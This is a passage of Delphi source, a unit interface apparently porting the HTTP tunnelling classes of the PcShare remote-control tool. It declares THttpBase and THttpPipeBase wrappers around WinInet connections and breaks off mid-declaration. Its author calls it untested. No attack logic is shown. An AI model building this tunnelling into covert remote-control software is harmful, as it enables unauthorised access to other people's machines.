HTTP隧道通讯DELPHI封装

{
HTTP隧道通讯DELPHI封装，只通过语法检查，没测试。
By 雪落的瞬间 QQ 418880764
BLOG http://hi.baidu.com/cipherteam/
BBS http://www.killabc.cn
完全翻译PcShare2个类代码。
}
unit hTTPPIDE;

interface
uses
Windows,Shellapi,SysUtils,Variants,WinSock,Wininet,Classes;

type
    THttpBase = Class
    private
    hHttpIe :hInternet;
     hHttpHc :hInternet ;
    public
      hHttpFp:hInternet;
      Function ConnectHttpServer(m_ServerAddr:Pchar;m_ServerPort:Word;nCmd,nStyle:DWord):Bool;
      procedure StopWork();
      constructor Create;
      destructor Destroy; override;
    End;

    THttpPipeBase = Class
    private
      m_PipeSend,m_PipeRecv:THttpBase;
    public
      procedure StopWork();
  &nb